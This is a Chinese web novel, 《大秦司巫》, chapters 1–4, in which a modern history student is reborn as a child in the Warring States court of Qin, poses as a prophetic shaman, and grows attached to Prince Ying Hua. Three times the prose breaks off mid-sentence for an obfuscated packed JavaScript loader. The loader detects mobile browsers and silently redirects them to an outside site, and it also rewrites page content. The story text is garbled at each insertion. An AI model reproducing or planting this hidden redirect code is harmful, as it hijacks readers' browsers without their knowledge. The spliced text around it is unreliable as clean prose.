《大秦司巫》 1. 巫咸国后人 楚越站在卫夫人寝宫门口,眼前是一轮即将沉下地平线的太阳。 她漫无目的四看,宫殿前地带开阔,内侍与宫人低着头,忙碌的穿梭其间,像是大雨前忙碌的工蚁。 她站得累了,双腿发软,可没有卫夫人的命令,她需得一直站在这里。 这是卫夫人对她的惩罚。 因为楚越是秦国国君嬴驷从宫外带回来的孩子,交由卫夫人抚养,不能打、不能骂。 宫里所有人都在暗中猜测她的身份,有人说她是君上在宫外的私生子,有人说她是君上的故人之子,也有的说她是大良造公孙衍托付给君上的孩子。 听着来往之人对自己的议论,楚越想说: “你们都猜错了。” “我根本就不是个孩子。” “我是个成年人!” 托某位博士洪福,也托她自己的运气,盲审5%的‘大奖’砸中她,毕业论文没改出来,中道猝死,魂穿异世,返老还童,年龄只剩下从前的零头多一点。 二十四岁的楚越,变成了五岁的孩子。 原主的记忆不多,父亲战死疆场,母亲带着她艰难度日,秦国与魏国打仗,战火绵延,焚毁了整座村庄,她最后的记忆,是漫天的大火,和蔓延来的无边恐惧。 到这里,原主短暂的一生就结束。 楚越从死人堆中爬出来,举目四顾,只剩下一片断壁残垣,死寂与荒凉,笼罩大地。 异世求生是艰难的,尤其她还是个五岁的孩童,又遭逢乱世,随处可见暴露原野的白骨,乌鸦鸣叫,声音凄惨。 三天吃了两顿,楚越饿的眼冒金星,一头栽倒路边,她的意识逐渐模糊,朦胧间,她感觉有人靠近,头顶传来阵居高临下的感慨: “如此乱世,百姓苦不堪言啊。” 这人还有点良知,楚越心想。 她用尽最后一丝力气,抓住了那人的衣角,“救命!” 也许是小孩的身份激起了过路人的怜悯,几个中年人救了她。 一张饼,两碗水。她活了。 “多谢先生相救,敢问先生姓名?”楚越问道。 那中年人见楚越衣着破烂,谈吐却不凡,“在下魏人公孙衍。” 楚越虎躯一震。 公孙衍。 大名鼎鼎的公孙衍。 作为一个历史人,公孙衍她还是知道的,虽然她研究的方向是秦帝国时期政治史,即秦始皇称皇帝之后的制度史,但对秦先公时代也略有耳闻,不至于一无所知。 公孙衍,战国时代大名鼎鼎的名士,巅峰时同挂多国相印,合众弱抗强秦的纵横家。 见到他,楚越大概判断出自己所处时代——战国晚期。 “先生是要去哪里?”楚越追问道。 公孙衍答道:“秦国。” 秦国,对口,但又不是特别对口,对0.5口。 没事,她可以自己对齐一下颗粒度。 “我乃巫咸国后裔,原本与族人一道入秦,途遇兵祸,只剩下我一人。不知先生可否带上我?”楚越请求道。 穿越在外,身份都是自己给的。 秦国信奉巫咸,惠文王时代,秦国和楚国爆发过一场国家和国家之间的诅咒,双方纷纷向信仰的神灵诅咒对方,便是大名鼎鼎的‘诅楚文’【1】。 诅楚文的请求对象有三位神灵,其中就有巫咸,而历史上曾有巫咸国,巫咸国亡国很早,国人四散。 那她就是巫咸国后裔,通鬼神的巫,本来打算和族人一起投奔秦国,但途中遇到战争,只剩下她一个人。 能知前五百年,后五百年。 公孙衍蹙眉,显然对楚越的身份有所怀疑,但见她一个稚童,孤苦无依,怕她饿死,于是将她带在身边。 两人一路颠簸、风餐露宿来到秦国都城咸阳。 一路上,楚越回想了所有自己还记得的文献。 关于公孙衍,传闻他曾两度入秦,一次在惠文王时代,一次在武王时,第二次入秦,争议很大。 毒圈再度缩小。 两人来到馆驿,由驿丞上报秦君。 秦国正是用人之际,公孙衍又是名士,秦君自然将他奉若上宾,亲自来他居住的馆驿拜访,把个求贤若渴、礼贤下士演绎得入木三分,栩栩如生。 于是魏人公孙衍,摇身一变成了秦国大良造。 大良造是个高官,商鞅就是以这个官职主持了变法。 “君上,我此来,还有一人要引荐给君上。”公孙衍也没忘楚越。 内侍将楚越引上大殿,楚越按礼仪史课上的内容,马马虎虎行了个礼,“巫咸国后裔,巫楚越,见过秦君。” 身份可以编。姓氏也能编。 秦庭上下,都好奇打量着这个小小的姑娘,楚越行礼完,从地上站起来,她小心打量了眼上首秦君。 看年龄,眼前这位秦君不过二十多岁,公孙衍称秦君为‘君’而非王,楚越知道,此时秦国还未称王。 她再一次压缩了对于自己所处时空的判断。 不是秦武王时代,而是秦惠文王称王之前,那这位秦君,应该就是将来的秦惠文王嬴驷。 王冠还未戴在头顶,不能称为秦王,惠文是谥号,现在人还活蹦乱跳,不能乱喊,只能称作秦君。 “巫咸后人?你入秦作甚?”秦君问道。 秦国是个很功利的国家,于是大老板上来就问,你能给公司带来什么价值啊? 楚越不卑不亢道:“天命在秦,我故入秦。” 比起饿死,和之后牛马的生活,被秦君当成妖言惑众一刀砍了也算解脱,这样说不准就回去了。 秦君听完楚越的话,目光陡然一紧,他看了公孙衍一眼,似乎在想什么。 “哦?你说天命在秦?何为天命?”秦君问道。 楚越从袖子里掏出了三个锦囊。 搞神秘,还得是孔明的锦囊计,无人能出其右。 锦囊中放着她昨晚写的剧透,为了不让人得悉其中内容,她将几句话的顺序打乱,询问公孙衍的侍从,然后再重新组装。 “我族长辈有三锦囊留下,本欲面呈君上,奈何途遭兵厄,现在只能由我呈给君上。” 内侍将锦囊呈给秦君,秦君打开,一一过目,看清竹简上的字,秦君瞳孔不由紧缩。 楚越适时开口,“君上看过锦囊,切不可声张,待到锦囊实现之日,才可公之于众。” 出于君王的谨慎,秦君始终对锦囊的内容抱有怀疑。 “一国国运,岂可托付鬼神。” 楚越镇定道:“请君上拭目以待。” 长期饭票混不上,先混个临时饭票也行。 她可以等, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373997|168255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后慢慢转正。 沉思良久,秦君决定将楚越留在宫中,宫里那么多人,多她一个人也不多。况且,他本来就答应公孙衍会照顾好她。 卫夫人是西周公送给秦君的女子,目前统领后宫,照顾楚越的事情也就落到了她头上。 她很不喜欢楚越,因为她不服管教。 楚越当然不会听一个未成年人的话。 卫夫人生气,就罚楚越站在檐下,不许任何人和她说话,一直到她认错。 认错?那绝不可能。 楚越眺望落日,有些惆怅,这时代跟她毕设也没关系啊,怎么来这儿了? 正出神间,一道英武的身影出现在宫殿前的开阔地,来人一身玄甲,身披金色斜阳,脚踩着这一天终结的暮光,大步向楚越走来。 阳光照在他分明的五官上,投下一片阴翳。 十七岁的少年,就这么走到了楚越面前。 落日黄昏,暮色沉沉,楚越在台阶上,望着天边夕阳,为自己的命运怅惘出神,行人往来,没有一个人止步,唯有这个少年停下,站在台阶上,好奇望着她。 金色的日光,为玄甲镀上层温柔,阴翳模糊他的脸庞,楚越望着他,一种似曾相识的感觉,从心底涌出。她忍不住将视线投向来人,眯起眼睛,逆着刺眼的暮光,想要看清他的的脸。 楚越终于看清了他的脸。 看清的那一瞬,心头所有不安一瞬消失,她所怅惘、未知的命运,就这么走到了她面前。 四目相对间,那少年鬼使神差般走上了高台,楚越没有说话,上下看了一眼那少年,低声问道:“你是谁?” “我是公子华。” 战国时,公子还未成为泛称,唯有国君的儿子,能被称为公子。 楚越想了想,按秦君目前的年纪,应该生不出一个这么大的儿子,所以眼前这个少年,应当是前任国君的儿子,现任秦君的弟弟。 少年好奇看了出神思考的楚越一眼,眼底流露出喜色,“你就是那个巫咸国后裔,巫楚越。” 嬴华是唯一一个,为她驻足停留的人。 也是唯一一个,和她说话的人。 “是,我是楚越。” 嬴华经常来找她,他们很快成为了朋友。 在秦国待了一段时间,楚越逐渐了解秦国的情况,她猜测的没有错,现在的国君是孝公之子,历史上车裂商鞅的惠文王嬴驷。 嬴华是孝公的儿子,嬴驷的异母弟,秦国的公子,人称公子华。 许多个斜阳西下的午后,楚越被卫夫人惩罚,站在宫檐下,嬴华都会穿过宫殿前那片人来人往的空旷,朝她走来。 似乎,他就该为她而来。 嬴华越走越近,楚越不得仰首,才能看清对方,她还太小。 六岁的小姑娘未及嬴华的腰腹,懊恼垂下头。 嬴华见楚越这副模样,望着她的脑顶笑了。 “怎么?知道错了?” 嬴华喜欢逗她玩。 “…………”楚越扭开了头。 “走吧!” 楚越脚下一空,嬴华单臂将她从地上抱起,趁机在她脸上亲了一下,“卫夫人跟君上一顿哭诉,说管不了你,她还有个小公子要照顾,君上让我带你过去。” 卫夫人果真去告状了。 楚越有些无奈。 2. 司巫越 秦君在大殿接见了楚越,殿中人很少,除了秦君,只有另外一个年轻人。嬴华将她放下,对秦君抱拳道:“君上,人已经带到。” 说罢,他便退到了一边。 楚越站在殿中,秦君也不看他,而看向了那个年轻人。 年轻人不过二十出头的模样,蹙着眉,锐利的目光上下打量楚越。 楚越被这视线看的有些难受,于是问道:“你为什么盯着我?” 那年轻人严肃问道:“‘秦国大良造公孙衍破魏军于雕阴’的锦囊是你写的?” “对呀。”楚越承认道。 那字歪歪扭扭,的确不是成人手笔,而且,墨迹也很新,楚越不打算说谎。 年轻人进一步问道:“你还写,‘汾阳、皮氏、焦、曲沃,都会归于秦国’。” “对呀。”楚越点点头。 那年轻人忽然变了脸色,斥责道:“大胆,敢在秦国怪力乱神,是谁指使你说这些话的?” 楚越被他忽如其来提高的嗓门吓了一跳,浑身一颤,但很快她就反应过来,这个年轻人是在诈她。 如果真觉得她怪力乱神,能证明她是假的,早给她砍了,还会废话这么多? 没砍就是半信半疑。 “拭目以待?”楚越盯着那年轻人的眼睛,毫无畏惧。 年轻人显然没想到楚越会这么平静的回答自己的问题,完全不像是个小孩,她的自信,让年轻人一时语塞,垂眸避开楚越的视线。 鬼神之所以神秘,因为谁也不能证明他的存在和不存在。 到了比拼信心的时候,自然不能怯场。 秦君终于开口了,“这样,既然你承认锦囊是你写的,那么寡人与你约一个期限,若三年之内,你的话应验了,寡人就相信你,以礼相待。” “既然君上与我相约,在下岂有不从之理。” 史书上关于秦惠文王的记载相对充实,对外作战基本都是大获全胜,尤其对老冤家魏国,秦国因此获得了整片黄河以西,并占据向东面的几座城。 “一言为定。”秦君道。 饭票又续了个期,楚越走路都带着喜气,嬴华见她那么开心,不由也笑了。 “你胆子挺大啊,知道刚才跟你说话那是谁吗?” 头顶蓦然一沉,嬴华的手掌已经包裹住她头顶,楚越想挣开,嬴华却不松手。 “再大能大的过君上吗?我和君上也是这四个字,这四个字如何不能说给他?” “好牙尖嘴利的女娃。” 嬴华一把将她从地上抄起来,楚越双手撑在他肩膀,和他拉开距离,她盯着嬴华的眼睛,“我当然知道那是谁,和你与君上长得那么像,一定是你们的兄弟。” “他是公子疾吗?” 这不是猜的,刚才楚越听见别人这么叫他了。 嬴华眯着眼睛看了她一会儿,“你好聪明,聪明得不像个小孩。” 楚越盯着他的眼睛,“那我到底是不是?” “废话,你当然只是个小孩。”嬴华认真道,“我是武将,我不信鬼神,我只相信手里的剑。” 巫咸国后裔,能通鬼神,预言将来? 他是不信的。 他唯物得不像个古代人。楚越想。 嬴华将楚越送了回去,交给宫人后便准备转身离开,楚越望着他即将离开的背影,忽然开口道:“嬴华。” “你叫我什么?”嬴华转过头,眉头一时蹙起。 楚越敏锐觉察到嬴华的神情变化,意识到自己可能说错话,“你不是叫这个名字吗?” 嬴华叹口气,“连名带姓叫人,是哪里的规矩?难怪卫夫人罚你。” “那我叫你什么?”楚越问道。 “他们都叫我公子华。” 楚越摇头,“我不想和他们叫一样。” 头上不妨挨了一下,“没大没小的女娃。” 骂完她,嬴华转身就走了。 之后很长一段时间,楚越都没有再见到嬴华,他像是一阵风,忽然出现在自己的生命中,又陡然一下消失。 她有些闷闷不乐,心想嬴华难道是因为自己的冒犯生气了,不理自己了? 这么小气的吗? 楚越不知道。 预言未曾验证的日子,她依旧由卫夫人照顾,卫夫人有小公子,哪顾得上楚越,对她依旧严厉。 没有符节,她不能出宫,想和宫人打听嬴华,宫人们奉命于卫夫人,不理她。 楚越想尽了一切办法,却始终找不到嬴华的踪迹。 她被困在这异世,束缚于狭窄的王宫,她只能无助站在宫檐下,看着过去的太阳,按照既定命运,慢慢沉下,又升起。 就在她再度陷入无边的怅惘时,那道披着金光的身影,又希望般出现眼前。 “你怎么...又被罚了?”嬴华似是很无奈,“你怎么一点长进都没有?” 楚越扭头,“没有。” “还嘴硬,不然你站这里做什么?看落日吗?” “我在...你去哪儿了?”楚越把头扭了回来,“我很久没看到你了。” 很久,大概快有一年了。 嬴华笑了,在她鼻子上刮了一下,“怎么了,不是不理我?现在又愿意和我说话了?” 楚越抿唇,凝视着嬴华清澈的黑色双眸,一别许久,他似乎比以前瘦了,也更黑了。 嬴华见楚越望着自己不说话,蹲下身来,“我呢,去干了一件大事,你不是很厉害,猜猜看?” 他洋洋得意,满脸自豪。 楚越上下打量他一眼,“你和谁交战了?” 嬴华有些惊讶,“你怎么知道?” “猜的。” 楚越腹诽,这还用猜? “我去草原,打义渠人去了。义渠现在内乱,君上派庶长操领兵平定义渠,我也跟着去了。” 楚越望着嬴华,以迅雷不及掩耳之势,在他脸上亲了一口,占完便宜,她开心的笑了。 嬴华也哈哈大笑,他摸了摸楚越的脑袋,显然还是没明白,他好奇的盯着楚越。 “你们小孩子一天都在想什么啊?一会儿开心一会儿不开心。脾气挺大。” “哎,算了,走!君上还等着你呢。” “…”楚越。 嬴华将楚越带到了大殿,殿外候着很多人,殿内人依旧不多,除了赢疾他们几个楚越常见的近臣之外,还有一个陌生而熟悉的身影—— 公孙衍。 她很久没见公孙衍了。 “君上,人已经带到。”嬴华将楚越放下,向秦君复命,而后站到了赢疾身边,武将一列。 楚越明显感觉到了周围人看她的目光和以前不一样了,除了嬴华还是一副看小孩子的目光看她,其余人看她的眼神里,都带着某种严肃。 她垂眸,心想应该是那三个锦囊。 孔明锦囊安天下,前安五百年,后安五百年。 穿越历史就是一场巨大的剧透,但没关系,她全家都死在魏国人的屠刀下了,无所谓了。 果不其然,秦君和楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373998|168255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越道:“我们已经拿下了雕阴,这一战,大胜,你说的没有错。” 楚越所言的事情,虽然只成功了一线,但能预言至此,已经可以窥见未来,雕阴一战,全歼魏国防守上郡、河西郡主力,再打下去,结果已经显而易见。 只要不浪,包赢的。 于是君王的心悄然发生了变化。 外面的朝臣在内侍的宣召下,进入了殿中,秦君当着众臣面打开了楚越的三个锦囊。 “此乃昔日女士【1】入秦时,所献锦囊、女士说,天命在秦,在寡人,所以也特来相助!但寡人愚昧,不知女士身份,使明珠蒙尘!” 秦君说的痛心疾首,情到深处站起身来,朝楚越行礼致歉。 楚越也陪着他演:“君上切莫自责,天命在秦,在君上。”说罢,深深拜了下去。 群臣见状,也纷纷朝秦君行礼,口中高呼: “君上万年,秦国万年!” 三个锦囊展现了孔明的智慧,也帮楚越混上了秦国编制,秦君拜巫咸国后裔巫楚越为司巫【2】,赏赐无数。 巫和祝,都是神官,正统的巫官和祝官名目繁琐,秦国以司巫为群巫之首,和宗祝分掌神事。 一张能供她长大的饭票,get! 别人是文能治国,武能安邦,她现在是大字不识一个,身高没有一米三。 她得活下去,还得荤素搭配吃饱了健康的活下去,像个人一样活下去。 天命,是胜利者的谦称,秦国正在崛起的路上,天命当然在秦。 有了官职,也就有了相应的土地和待遇。 那么多士子鱼贯入秦,为的是心中理想,但楚越为的………是一口饱饭。 饿肚子的感觉,不太好。 逃命的感觉,也不太好。 秦君赐给她一座宅院,但令她依旧住在王宫中,为了不打扰到她,单独辟出一间宫室给她住,名为天启阁。 有了收入,楚越的生活一下子发生了量的改变。 再没人不理她了。 天启阁的内侍宫人比之前翻了两倍,她说话,也有人回答,还是认真的回答。 秦君给的官印与土地的地契、赏金放在桌上,旁边堆满了世家大族、秦国群臣送来的贺礼。 楚越在感慨自己有钱的同时,心也不由得痛了起来。 这些钱为什么不能带回去?! 南柯一梦般的暴富,虚假而不真实。 她抱着两块马蹄金,脸上的表情痛苦而失落,这一幕不妨被进来的秦君与嬴华两兄弟看到了。 “怎么了?金子不好吗?”秦君瞪大了眼睛,怎么有人拿到金子是这副如丧考妣的表情? 嬴华也觉得匪夷所思,好奇望着她,楚越好像从来都和常人不一样。 “花不完!我根本花不完啊!”楚越抱着金子,嚎得很大声。 固定资产传不下去,如何在有限的生命里,花掉这么多财富。 楚越终于体会到了王多鱼的痛苦。 她就是王多鱼的妹妹,楚多金。 “哈哈哈。”嬴华笑的很大声。 他刻意将自己的贺礼放到了一个非常显眼的位置,楚越眼底的悲伤更重了。 见状,嬴华从盘子里捡了一块马蹄金,在手里掂了掂,“没事,我可以帮你花。” 楚越把马蹄金抢回手里,“不,这是我的!” “好了,别闹了,我来是有正事询问。”秦君道。 楚越将马蹄金收好,有礼道:“臣定为君上解忧。” 3. 国夫人 “大良造提议停止攻魏,而攻打义渠,你觉得呢?”秦君问道。 楚越想了想,没想起来秦国到底是攻魏还是打义渠。 这成了个送命题,答谁都有一半错误率。 在a魏国和b义渠之间,她选择了or。 “君上最近有喜事。”楚越只说自己有把握的事情,免得砸口碑。 “什么喜?”嬴驷一脸狐疑。 楚越故弄玄虚,“大喜。” 距离秦武王的出生日期,已经很近了,还有一年多。 已知秦武王嬴荡是惠文王的嫡长子,而秦君现在还没有国夫人,那么除去十月怀胎,他与魏国联姻的事情,很快就会敲定。 成亲。 当然是大喜。 魏国割地求和,让出了阴晋,河西一带,又重新回到了秦国手中。新占领的地区,需要慢慢消化,设立郡县,安抚百姓,不能急于一时。 而义渠因为内乱,又受庶长操的打击,元气大伤,正是秦国进攻的好时机,于是秦君接受了公孙衍的建议,暂时停止对魏战争,而攻打义渠。 秦国要休战,魏国当然是一百个同意,为了与秦交好,还特意提出联姻,想将魏国公主嫁给嬴驷。 “还真是大喜。”秦君反应过来。 老板很开心,大手一挥,‘奖金’送到天启阁,楚越望着赏金,且喜且愁。 国婚当日,嬴氏宗族、秦庭文武百官以及各国致贺的使节齐举咸阳宫,车马相接,人潮拥挤。 楚越挤在观礼的人群之中四望,国君大婚,她没有不来的道理,人潮拥挤、宫殿复杂,走了一段距离,她就发现自己迷路了。 回头望去,跟着她的宫人也不见踪迹。 好在,到处都是人。 虽然都不认识。 环视一圈,楚越的目光最终落到看台侧一个年轻人身上。 她不认识这个人,但不认识可以现场去认识,秦国民风淳朴,尊老爱幼。楚越现在不过七八岁,很难有人拒绝一个小姑娘的请求。 楚越走过去,扯了扯那年轻人的袖子,“小将军,你看到公子华了吗?” 凡是秦国青年,只要听到别人叫他将军,都会不自觉的害羞一笑,然后摸摸脑袋,十分不好意思的应下,颇有现代被人喊帅哥的即视感。 那年轻人不认识楚越,但见她衣着不凡,脖子上配着燕纹玉饰,又听闻她要找嬴华,猜测她是嬴氏女,又见她身边没有大人跟随,以为她和家人走散,于是耐心和她解释: “小妹妹,公子华有要务在身,一会儿宴会结束了我再带你去找他好吗?” 楚越点点头,拉住了那年轻人的袖子。 搭讪,就是这么朴实无华。 新娘的婚车缓缓驶入咸阳宫,秦君容光焕发,迎新娘入宫,典礼庄重而繁复。 魏国的前身是晋国,秦晋之好,在春秋时也是美谈,秦君对魏国的公主,十分满意。 典礼结束后,年轻人带着楚越找到了嬴华,兄长成婚,他这个弟弟自然要帮衬,奉命和嬴疾一道招待魏国送嫁大臣。 年轻人朝着嬴华一揖,“堂兄,这个女娃要找你。” 居然也是嬴氏子弟? 楚越睁大了眼睛,诧异回首看向那年轻人,不过十六七岁,面容稚嫩,眉宇之间倒是和嬴华有几分相似。 嬴华点头,摸了摸楚越的头,“我忙着呢,你先找嬴轩玩吧。” 这个年轻人,叫嬴轩。 嬴华又叮嘱嬴轩,“轩弟,你把司巫照顾好。” “是。” 嬴华领着魏人离去,留下身后楚越和嬴轩,嬴轩蹲下身子,仔细打量了一下楚越,“你就是那个巫咸国后人司巫越啊。” 司巫越,奇怪的名字。 官职加名字,也的确不违反命名方式。 楚越点点头,“是啊。” “我还以为你是我们家的女娃呢。”嬴轩撇嘴。 她倒也想当国君家的女公子,但是成女公子的几率... 从概率论科学的角度来说。 她被盲审抽中是百分之五,乘以猝死的几率几十万分之一,再乘以穿越的几率,百万分之一。 女公子,也是万分之一的概率。 这么一算,中彩票的几率都比这大得多,她都能被抽中盲审了,还有什么运气? “唉。”楚越长叹口气,一切尽在不言中。 可有了嬴华的叮嘱,嬴轩再不情愿,也只能把楚越带在身边,好好照看,两人一起入席,嬴轩为楚越夹菜,“多吃点,吃完我送你回去。” “我不想回去,她们都不理我。”楚越闷闷道。 卫夫人当然不是白得罪的,所以从前没人和她说话,成为司巫之后,别人对她,除了多一点尊敬之外,还是没什么话要说。 成年人和小朋友,没有共同话语,宫人们也很忙,有自己的事情要做。 不是所有人,都和嬴华一样。 “你没有朋友啊。”嬴轩看出她的苦恼。 “也是,大王的公子还小,这样,你要是无聊,可以出来找我玩,我可以带你玩,不过....” 嬴轩看向她,“你不能偷跑出来,你要跟禀告君夫人。” “我怎么找你?” “你跟君夫人说来找我,当然会有人送你来。” 国婚结束,后宫的格局也定,魏国的公主,成为秦王宫的君夫人。 君夫人既立,楚越当然要去拜见,魏国公主是个很温柔的女子,十七岁,脸如银盘,杏眼盈盈。 她招手,示意楚越上前,“你就是楚越,大王说了,要我好生照顾你。” 魏夫人的手很软,也很暖,声音温柔,她对楚越,不似卫夫人般不耐烦,多了许多宽容。 楚越看人下菜碟,鼓起勇气,询问魏夫人道:“夫人,我可以出宫吗?” 未成年人没有出宫的权力。 哪怕她是女公子都不行,更别提楚越这个司巫了。 魏夫人脸上笑意依旧,温声告诉她,“当然是可以的,你想去何处?我派马车和护卫,这样你能去你想去的地方,我也放心不是。” 楚越不假思索,“我想去找嬴华。” 魏夫人莞尔,“不可以这样称呼他的,连名带姓,是很冒犯的举动,你可以称呼他为公子华。” “你去找公子华做什么呢?”魏夫人询问道。 “找他玩。” “君上要对义渠用兵,公子华也去,你去找他,他怕也不在家,而在军营。” 楚越看向魏夫人,询问道:“那我能去军营吗?” 魏夫人摇了摇头。 “那我去找嬴轩吧,哦,不,公子轩?” 魏夫人纠正道:“他的父亲是孝公的兄弟,献公的公子,他是公孙。” 公子是国君的儿子,国君的孙子是公孙,商鞅叫公孙鞅,是卫国某位庶出公子的儿子。 那公孙衍? 他不会是魏国王室之后吧?楚越狐疑想道。 关于公孙衍的记载并不多,战国礼崩乐坏,公孙也渐渐成为姓氏,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373999|168255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓公孙的祖上依旧是公族之后。 如果公孙衍是魏国公孙,或者公孙之后.... 那可太哄堂大孝了。 魏夫人给了楚越出宫符节,轺车轻便,一马所拉轻便之车,谓之轺车。 马车是身份的象征,天子驾六,诸侯驾五,卿驾四,大夫三,士二,庶人一。 换算一下,这小轺车高低算个奔驰了。 驾车的甲士顺带充当了护卫,楚越跳上车,在座位坐下,手按在轼上,甲士见她坐稳,调转马头,一脚油门,朝前而去。 接触之后,楚越发现嬴轩也大有来头。 他大哥是带着嬴华出征的庶长操,他老爹也是青史留名,虽然是恶名的公子虔,就是那个被商鞅割掉鼻子,最后带着老世族将商鞅均分的嬴虔。 嬴轩是个热心肠,带她认识了很多人,都是嬴氏公族子弟,大的大,小的小。 终于有人和她说话了。 魏夫人到秦宫之后,楚越的日子一下好过了起来,除了荤素搭配吃饱,就是跑出宫。 运动路线一般如下,先去找嬴华,如果他不在,就去找嬴轩。 嬴轩不在,就去找别的朋友。 某一日她忽然出现在嬴华面前,嬴华望着轺车上站着的得意姑娘,眼中惊诧一闪而过,他抱起楚越,高高举起空中,“好大胆的啊你,敢一个人往出跑了?” 楚越笑道:“我来了好多次了,你都不在。” “秦国在对义渠作战呢。”嬴华道。 义渠在秦国后背,且以游牧为生,马匹机动性强,常袭扰秦国边境,使得边境郡县苦不堪言。 公孙衍也正是意识到了义渠的危害,才向嬴驷进言。 嬴驷以庶长操领兵,继续深入对义渠作战。出兵之前,嬴操入宫向嬴驷汇报策略,嬴驷命人传来了楚越,询问她的意见。 “臣打算攻下义渠后,在此处设县。” 嬴驷点头。 楚越不敢吱声,生怕误国。 “我季弟嬴轩已经十六岁了,该上战场见见世面,请君上允我将他带在身边。”嬴操请求道。 “嗯,是时候出去锻炼锻炼了,华弟也是十六岁,就上战场了。” 不仅嬴华去,嬴轩也要去。 商君变法之后,即使公族,也要上阵立军功,才能获得爵位。 “我能不能也去。”楚越弱弱道。 此话一出,立即遭到了嬴操的反对,“你一个小娃娃,去做什么?” 嬴驷扫了楚越一眼,“你去做什么?” 楚越硬着头皮道:“想去看看。” “瞎凑什么热闹,夫人让你看的书你看了吗?回去看书去。”嬴驷拒绝了楚越的请求。 楚越垂头丧气,“是,君上。” 对义渠作战,不知要有多长时间,她又要有很长时间,再见不到嬴华。 嬴华,会忘记她吗? 会不会再见面,他就将她当成了普通人。 楚越不敢想。 她总想见到嬴华,跟吃错了药一样。 楚越闷闷不乐的样子落到了魏夫人眼中,魏夫人小心拿走她手中的书卷,轻声问道:“怎么了?怎么不开心了?” 楚越叹口气,摇头。 “是因为嬴轩走了,没人和你一起玩了吗?我帮你再找几个朋友,好吗?”魏夫人不仅温柔,还善解人意。 但她没明白楚越所想。 楚越摇头,“多谢夫人,但不用了。” 她可不是嬴华,会喜欢逗小孩玩。 4. 刀兵之厄 楚越一直闷闷不乐过了好几日,某个夜晚,她都准备睡下,忽然有内侍来请她,说大王召见。 她立刻去见秦君,在半路与他撞见。 秦君嬴驷一身盔甲,大步流星往宫外走去,“走。” 楚越快步跟了上去,一边走,一边问道:“君上,我们去哪儿?” 驷车宽大,有保温的车盖,但即便如此,秋日夜晚的凉风,还是不断从缝隙刮入。楚越缩了缩脖子,嬴驷见状,将自己的披风分给了她一角。 “君上,我们去哪儿?”楚越再度问道。 嬴驷望向楚越,青年漆黑的眼眸中,目光锐利,他反问楚越道:“你在担心什么?” 楚越立刻意识到,嬴驷... 想多了。 她的大脑立刻飞速运转,“我在...担心公子华将军。” “华弟?” 楚越犹豫一瞬,深呼吸口气道:“公子华将军命中有刀兵之厄。” 嬴驷一愣,不及他开口,楚越继续道:“必须以兵止兵,七年之内,不能解甲,要一直留在军中。” 七年,因为她最少需要七年的时间才能长大。 楚越按住自己砰砰乱跳的心,衣料下的起伏,让她笃定自己的想法。 她喜欢嬴华。 她得想办法弥补上他们错开的时光。 嬴驷的车驾很快到了边境,秦军正与义渠会战,朝阳升起的时候,楚越看清了整片战场。 黄沙漫天,一阵肃杀之气夹杂着刀光剑影,在日光下蓄势待发,秦军阵列整齐,将士上下严阵以待,为首的身影十分熟悉,正是嬴华。 在秦军的对面,义渠骑兵密密麻麻,黑压压据满整片山头。 嬴驷和楚越停在不远处观战,喊杀声响彻天际,训练有素的秦军方阵如一台战争机器,无情收割着义渠人的性命,其所经之处义渠骑兵溃不成军。 嬴华的表现十分突出,战车之上,少年握戟,万军之中如履平地,嬴驷对弟弟的表现十分满意,眼中全是欣赏。 楚越的目光也也紧紧追随着嬴华,少年将军英武不凡,于万军之中所向披靡。 不知为何,她的脑海中忽然闪过一个念头,如果这道身影消失.... 这里所有人都会死,包括嬴华,她是知道的。 嬴华.... 和嬴疾同作为惠文王嬴驷的兄弟,嬴华不如嬴疾在史书上留下的记录多。 嬴疾的一生,很标准,以中卿右更起家,而后成为上卿驷车庶长或者大庶长,被封为君,史称严君。 他一直做到了相国,辅佐昭襄王,然后寿终正寝,这才是战国时代,一位公子、王弟应该拥有的人生。 但嬴华,只有寥寥几处记载,没有记载他的官职,没有封地,也没有后续领兵记录,作为公室近支,这是不合理的。 除非,他很年轻就死了。 武将最好的宿命是什么?马革裹尸吗? 楚越一直望着天际,嬴华的身影时而出现在她的视线中,时而消失,她一直望着天边,所有人的命运飞快从她眼前掠过,而她站在原地,一动不动。 命运的藤蔓从脚底生长,绑缚她的双腿。 改变的念头只有一瞬,又被心中胆怯压下。 她不敢。 改变之后呢? 知道一切,是她求生的途径,未知的将来,令人恐惧,她只敢在既定的缝隙中偷生,苟延残喘。 也许只是漏记了,楚越安慰自己道。 这也是很常见的事情。 这场大战从正午一直厮杀到傍晚,以义渠人落荒而逃秦军大获全胜收尾,嬴驷忽然到来,嬴操与众将立刻向嬴驷汇报战果。 他们在馆驿中商讨了很长时间,眼见夜色越来越深,坐在大门口的楚越越等越困。 